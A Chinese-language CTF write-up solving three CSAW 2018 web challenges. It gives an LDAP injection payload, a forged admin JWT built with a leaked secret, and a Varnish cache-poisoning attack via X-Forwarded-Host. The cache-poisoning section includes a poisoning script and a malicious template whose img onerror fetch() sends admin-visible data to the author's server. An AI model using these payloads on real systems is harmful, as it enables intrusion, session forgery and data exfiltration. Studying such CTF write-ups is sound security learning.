0x00 概括

这个比赛的话,总共5个web题目,我注册了个账号去玩了玩...结果就做出来一道 50 的LNMP 题目,可真是太惨了。CSAW 似乎有个很棒的CTFOJ csaw365。有兴趣的话可以去玩玩

后来看着WP把 100 分的SSO和300分的Hacker Movie Club给做出来了。感觉这比赛也硬核了。
总结下考点吧,那个缓存投毒的内容我可能日后还会研究一下

  • SSO
    • OAuth2.0 协议
    • JWT
  • LDAD
    • lnmp 注入
  • Hacker Movie Club
    • node.js
    • mst 模板
    • 缓存投毒
      • 2018.8 BP 社区发的文章

0x01 Ldad

这是一个很明显的LDMP注入,之前也看见过比赛考这个题目。
CSAW CTF Qualification Round 2018 三道 Web Wp-ShaoBaoBaoEr's Blog
payload很简单。

*)(uid=*
大概可以猜到最后会加到一个 )
对此我们把所有内容选出来
*)(uid=*))(|(uid=*
CSAW CTF Qualification Round 2018 三道 Web Wp-ShaoBaoBaoEr's Blog

具体内容还可以看看OWASP的文档Testing_for_LDAP_Injection_%28OTG-INPVAL-006%29

0x02 SSO

Don't you love undocumented APIs
Be the admin you were always meant to be
http://web.chal.csaw.io:9000

Step 1

  <h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
  <a href="/protected">.</a>
  <!--
  Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
  POST /oauth2/token
  POST /oauth2/authorize form-data TODO: make a form for this route
  --!>

view-source:http://web.chal.csaw.io:9000/protected
Missing header: Authorization

这里需要掌握一些auth2.0的知识,具体的话在《白帽子讲web》安全上有说过。另外也可以读一下英文文档。当然,也可以看看阮一峰的博客Oath2.0

我们的目标很明确,通过某些手段来访问 pritected 的页面

  /oauth2/authorize:允许客户端Authorization Request通过传递以下参数来创建:
  • response_type(必填):该值必须设置为code;
  • redirect_uri (必需):将传递给重定向端点的绝对URI。
/oauth2/token:允许客户端Access Token Request通过传递以下参数来创建:
  • grant_type(必填):该值必须设置为authorization_code;
  • code (必填):从授权服务器接收的授权码;
  • redirect_uri (必需):将传递给重定向端点的绝对URI。

更具提示,auth2.0的功能尚未完成,也就是说我们要手动来操作auth2.0的过程

step 2 手动还原auth2.0过程

CSAW CTF Qualification Round 2018 三道 Web Wp-ShaoBaoBaoEr's Blog
由于重定向功能有些问题,不难发现这里的code参数

http://shaobaobaoer,cn?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vc2hhb2Jhb2Jhb2VyLGNuIiwiaWF0IjoxNTM3MjAyNDU1LCJleHAiOjE1MzcyMDMwNTV9.XyoKjfoScKmKeS_5eb5pjy-yXkvULRkIAXnuT2xI-sw&state=

我们继续进行下去,可以返回一个jwt的令牌

POST /oauth2/token HTTP/1.1
Host: web.chal.csaw.io:9000
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 260

grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vc2hhb2Jhb2Jhb2VyLGNuIiwiaWF0IjoxNTM3MjAyNDU1LCJleHAiOjE1MzcyMDMwNTV9.XyoKjfoScKmKeS_5eb5pjy-yXkvULRkIAXnuT2xI-sw&redirect_uri=http%3A%2F%2Fshaobaobaoer%2Ccn

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 209
Date: Mon, 17 Sep 2018 16:41:45 GMT
Connection: close

{"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIwMjUwNSwiZXhwIjoxNTM3MjAzMTA1fQ.Py11rdj1vpwFKIZiZHDdWhBQdvBFpZtQq3MDh7boomQ"}

step 3 jwt令牌破解与getflag

CSAW CTF Qualification Round 2018 三道 Web Wp-ShaoBaoBaoEr's Blog
令牌还是很实在的,不用什么爆破,sercret已经给你了。直接改成admin后发送即可getflag

GET /protected HTTP/1.1
Host: web.chal.csaw.io:9000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcyMDI1MDUsImV4cCI6MTUzNzIwMzEwNX0.9eylo1VDQxwuGshgy2PfU9ucord4opWRCkdNJOnrIfw
Connection: close

flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}

0x03 Hacker Movie Club

缓存投毒,bp 在 2018.8.9 发的文章。嘶吼上有人在 8.21 完成了翻译
原文链接 >> https://portswigger.net/blog/practical-web-cache-poisoning
译文:
- http://www.4hou.com/web/13129.html
- http://www.4hou.com/web/13194.html
- http://www.4hou.com/web/13365.html

step1 初步观察

直接点进去,只有一个地方有东西,点开来是google的交互按钮。看一波源码,有个 cdn.js 看一手。
很明显这是一个 node.js 的网站,这样的题目可真少见啊

for (let t of document.head.children) {
    if (t.tagName !== 'SCRIPT')
        continue;
    let { cdn, src } = t.dataset;
    if (cdn === undefined || src === undefined)
        continue;
    fetch(`//${cdn}/cdn/${src}`,{
        headers: {
            'X-Forwarded-Host':cdn
        }}
    ).then(r=>r.blob()).then(b=> {
        let u = URL.createObjectURL(b);
        let s = document.createElement('script');
        s.src = u;
        document.head.appendChild(s);
    });
}

另外,app.js可以在缓存页面查看,内容如下

var token = null;

Promise.all([
    fetch('/api/movies').then(r=>r.json()),
    fetch(`//1d6b931ca4a00b07419c6266af803447fc92c4ec.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
    new Promise((resolve) => {
        if (window.loaded_recapcha === true)
            return resolve();
        window.loaded_recapcha = resolve;
    }),
    new Promise((resolve) => {
        if (window.loaded_mustache === true)
            return resolve();
        window.loaded_mustache = resolve;
    })
]).then(([user, view])=>{
    document.getElementById('content').innerHTML = Mustache.render(view,user);

    grecaptcha.render(document.getElementById("captcha"), {
        sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
        theme: 'dark',
        callback: t=> {
            token = t;
            document.getElementById('report').disabled = false;
        }
    });
    let hidden = true;
    document.getElementById('report').onclick = () => {
        if (hidden) {
          document.getElementById("captcha").parentElement.style.display='block';
          document.getElementById('report').disabled = true;
          hidden = false;
          return;
        }
        fetch('/api/report',{
            method: 'POST',
            body: JSON.stringify({token:token})
        }).then(r=>r.json()).then(j=>{
            if (j.success) {
                // The admin is on her way to check the page
                // 注意这个语句
                alert("Neo... nobody has ever done this before.");
                alert("That's why it's going to work.");
            } else {
                alert("Dodge this.");
            }
        });
    }
});

还有另外一个 main.mst。可以在bp中截获到,内容如下所示。它来自于CDN的缓存

<div class="header">
Hacker Movie Club
</div>

{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}

<table class="movies">
<thead>
 <th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
  {{^admin_only}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
  {{/admin_only}}
{{/movies}}
</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>

OK 我们发现在 /api/report 的页面中,有一个 只有admin才可以查看的页面。
尝试在这个页面post些内容或者json,但是都没有任何反应

step 2 No xss No CSRF

我同作者一样一开始一脸懵逼,改了一些能够想得到的地方,但是都不起任何作用。实际上这道题和XSS并没有关系。

step 3 利用bp!

打开burpsuit。我们发现api接口中返回了些有趣的内容

{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983}
...
{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}

最后一条内容显示的是admin true。其他的都是false。另外,我们还发现这里的admin 。在wp上,我看到作者把 json 改了改。然后可以在页面中看到那个admin_only的内容。不过这并没有是没用处。因为json的数据是死的。

只有以admin的身份,才有突破口。
CSAW CTF Qualification Round 2018 三道 Web Wp-ShaoBaoBaoEr's Blog

step 4 缓存投毒!

OK 那么我们应该如何诱骗管理员来查看我们的页面呢?

也许,我们应该从一些有趣的地方入手。这也是这道题目最精华的地方所在。我们来查看那个获取CDN的请求

CSAW CTF Qualification Round 2018 三道 Web Wp-ShaoBaoBaoEr's Blog

这里有一些非常有趣的参数;我们发现,这里有个被允许的请求头X-Forwarded-Host

Access-Control-Allow-Headers: X-Forwarded-Host
X-Varnish: 158302311 158302289
Age: 34
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: close

如果社工一下,可以发现比赛的主办方用的CDN服务就是Varnish
另外还有几个参数,其意思可以看文档

Age - The amount of time the served item was in the cache, in seconds. If the age is zero, the item was not served from the Varnish cache.
服务项目在缓存中的时间量,以秒为单位。如果年龄为零,则不会从Varnish缓存中提供该项目。(也就是从其他地方获取,这个非常关键)
X-Varnish - The ID numbers of the current request and the item request that populated the Varnish cache. If this field has only one value, the cache was populated by the request, and this is counted as a cache miss
当前请求的ID号和填充Varnish缓存的请求。如果此字段只有一个值,则请求填充缓存,并将其计为缓存未命中

另外,在 Basic Poisoning 的 Case Studies section部分,作者提到了Red Hat主页中X-Forwarded-Host是一个易受攻击的参数和题目中的很类似。

CSAW CTF Qualification Round 2018 三道 Web Wp-ShaoBaoBaoEr's Blog

现在,我们的目的很明确了

  • Age 参数
    • 当 Age = 0的时候,会从其他地方获取参数,而这个地方就是X-Forwarded-Host
    • 操作的时间只有 2 分钟,这个也非常的紧迫
  • X-Forwarded-Host
    • 如果我们改了这个地方的话,服务器的缓存会被刷新成可控的模板文件,此时我们就可以为所欲为了。

step 5 启动!投毒!

此时,我们把 X-Forwarded-Host 换成自己的 VPS。如下所示

import requests

X_Forwarded_Host = 'http://shaobaobaoer.cn' 

while True:
    resp = requests.get("http://3fad5c9a76928974bc36ef08fb1dfa2c98e98740.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
    print resp.headers
    if X_Forwarded_Host in resp.text:
        print resp.text
        break

然后,疯狂的发起访问。作为一名中国网名,丢包的现象有些严重,多试几次就好。当然,用bp也是可以的。

如你所见,此时缓存已经被投毒了!而访问网页的时候,也出现了些有趣的内容

此时,我们需要把那个那个模板换成我们自己的模板,让admin返回后把所有的内容打印出来即可,内容如下所示。

<div class="header">
Hacker Movie Club
</div>

<div class="header admin">
Welcome to the desert of the real.
</div>

<table class="movies">
<thead>
 <th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
{{/movies}}
</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://shaobaobaoer.cn/'+'{{#movies}}{{ name }}{{ year }}{{ length }}{{/movies}}')">

除却删除了令人讨厌的 admin_only 外,我把json的内容发到了自己服务器上。将这段文本保存为 main.mst。并保存在 './cdn/main.mst'来方便网站的获取即可。

利用py脚本来一探究竟

{'Server': 'gunicorn/19.9.0', 'Date': 'Tue, 18 Sep 2018 15:32:24 GMT', 'Content-Type': 'application/javascript', 'Content-Length': '1631', 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'HEAD, OPTIONS, GET', 'Access-Control-Max-Age': '21600', 'Access-Control-Allow-Headers': 'X-Forwarded-Host', 'X-Varnish': '142300211 157921594', 'Age': '120', 'Via': '1.1 varnish-v4', 'Accept-Ranges': 'bytes', 'Connection': 'keep-alive'}
{'Server': 'gunicorn/19.9.0', 'Date': 'Tue, 18 Sep 2018 15:34:24 GMT', 'Content-Type': 'application/javascript', 'Content-Length': '1583', 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'HEAD, OPTIONS, GET', 'Access-Control-Max-Age': '21600', 'Access-Control-Allow-Headers': 'X-Forwarded-Host', 'X-Varnish': '158052508 157921772', 'Age': '1', 'Via': '1.1 varnish-v4', 'Accept-Ranges': 'bytes', 'Connection': 'keep-alive'}
var token = null;

Promise.all([
    fetch('/api/movies').then(r=>r.json()),
    fetch(`//47.xx.xx.xx.xx/cdn/main.mst`).then(r=>r.text()),
    new Promise((resolve) => {

可见,我们的投毒已经生效了。立即

访问原网站,应该会看到我们投毒刷新过缓存的main.mst渲染的html页面。

但是,晚上自己上完课来研究这道题目,做着做着发现CDN的内容被换到了另一个连接。而这个连接似乎被改写过了东西。当age=0的时候会刷新原本CDN网站的内容,而非我们X-Forwarded-Host 的内容。导致缓存投毒失效。
【如你所见,这次原生的 GET 请求中已经没有了 X-Forwarded-Host
CSAW CTF Qualification Round 2018 三道 Web Wp-ShaoBaoBaoEr's Blog

实际上,由于管理员会检查这个页面,此时,带着通过管理员TOKEN获取到的JSON数据会显示在插入的 img 标签中。

<img src=x onerror="fetch('http://my_vps.cn/'+'{{#movies}}{{ name }}{{ year }}{{ length }}{{/movies}}')">

此时,应该会将所有的json数据返回到我的VPS的日志中。就像这样:

CSAW CTF Qualification Round 2018 三道 Web Wp-ShaoBaoBaoEr's Blog

1,2 为本地访问的内容。【在WP中作者没有加上 length 和 year】

随后,我们通过点击report按钮来诱骗管理员浏览我们的模板。

第3条是管理员通过被我们投毒的 .mst模板生成的 页面的时候所产生的内容。

而脚本的话如下所示

import requests
import webbrowser

X_Forwarded_Host = '47.x.x.x'

while True:
    resp = requests.get("http://3fad5c9a76928974bc36ef08fb1dfa2c98e98740.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
    print (resp.headers)
    if X_Forwarded_Host in resp.text:
        print (resp.text)
        break

# 此时我们能够确定 缓存已经被污染
# 随后打开浏览器, 点击report 按钮,此时就可以诱骗管理员来获取我们投毒的页面

webbrowser.open('http://app.hm.vulnerable.services/')

apache 启动 CORS

https://enable-cors.org/server_apache.html
https://poanchen.github.io/blog/2016/11/20/how-to-enable-cross-origin-resource-sharing-on-an-apache-server

这点wp的作者在后面提及到了。CORS的问题。我也是因为这个坑所以昨天白天并没有做对。

CORS 也就是跨域资源共享。(也是 CDN 服务器的常用配置)

在正常的情况下,apache 是不打开跨域资源共享的选项的。打开的方式也很简单。在apache的官方页面中这样说道:

To add the CORS authorization to the header using Apache, simply add the following line inside either the <Directory>, <Location>, <Files> or <VirtualHost> sections of your server config (usually located in a *.conf file, such as httpd.conf or apache.conf), or within a .htaccess file:

也许,在当前目录页面下丢个 .access文件就可以了,不过这个是局部的。

在另一篇文章中说到了更加系统的方法。这样可以开启全局的文件共享。

$ cd /etc/apache2/sites-enabled
$ sudo vi [name of your conf file].conf

    # remember to replace /var/www with your directory root
  <Directory /var/www>
    # some other apache code here, if any
    # replace the url to the one you wanted
    Header set Access-Control-Allow-Origin "https://s.codepen.io"
    # some other apache code here, if any
  </Directory>

# 启用 apache2 header 
$  sudo a2enmod headers
$  sudo service apache2 restart

总结